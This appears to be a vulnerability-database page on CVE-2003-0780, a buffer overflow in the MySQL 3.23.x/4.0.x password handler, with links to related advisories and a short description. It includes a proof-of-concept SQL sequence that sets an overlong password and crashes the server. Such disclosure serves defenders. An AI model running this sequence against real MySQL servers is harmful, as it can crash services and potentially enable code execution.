MySQL 3.23.x/4.0.x - Password Handler Buffer Overflow
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | CAN-2003-0780 | 6 Aug 202410:25 | – | cve |
| CVE-2003-0780 | 12 Sep 200304:00 | – | cve |
 | CVE-2003-0780 | 12 Sep 200304:00 | – | cvelist |
 | [SECURITY] [DSA-381-1] New mysql packages fix buffer overflow | 14 Sep 200302:20 | – | debian |
 | Debian DSA-381-1 : mysql - buffer overflow | 29 Sep 200400:00 | – | nessus |
| Mandrake Linux Security Advisory : MySQL (MDKSA-2003:094) | 31 Jul 200400:00 | – | nessus |
| MySQL sql_acl.cc get_salt_from_password Function Password Handling Remote Overflow | 19 Sep 200300:00 | – | nessus |
| RHEL 2.1 : mysql (RHSA-2003:282) | 10 Nov 200400:00 | – | nessus |
 | MySQL 3.23.x/4.0.x - Remote Buffer Overflow | 14 Sep 200300:00 | – | exploitdb |
 | CVE-2003-0780 | 22 Sep 200304:00 | – | nvd |
10
source: https://www.securityfocus.com/bid/8590/info
MySQL server has been reported prone to a buffer overflow vulnerability when handling user passwords of excessive size.
The issue presents itself, due to a lack of sufficient bounds checking performed when processing MySQL user passwords. A password greater that 16 characters may overrun the bounds of a reserved buffer in memory and corrupt adjacent memory. An attacker with global administrative privileges on an affected MySQL server may potentially exploit this condition to have arbitrary supplied instructions executed in the context of the MySQL server.
> USE mysql;
> ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> UPDATE User SET Password =
'123456781234567812345678123456781234567812345678123456781234567812345678
123456781234567812345678123456781234567812345678123456781234567812345678
123456781234567812345678123456781234567812345678123456781234567812345678
12345678123456781234567812345678...' WHERE User = 'abcd';
> FLUSH PRIVILEGES;
[Connection lost]
mysqld_safe/safe_mysqld log :Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29
EPSS0.78367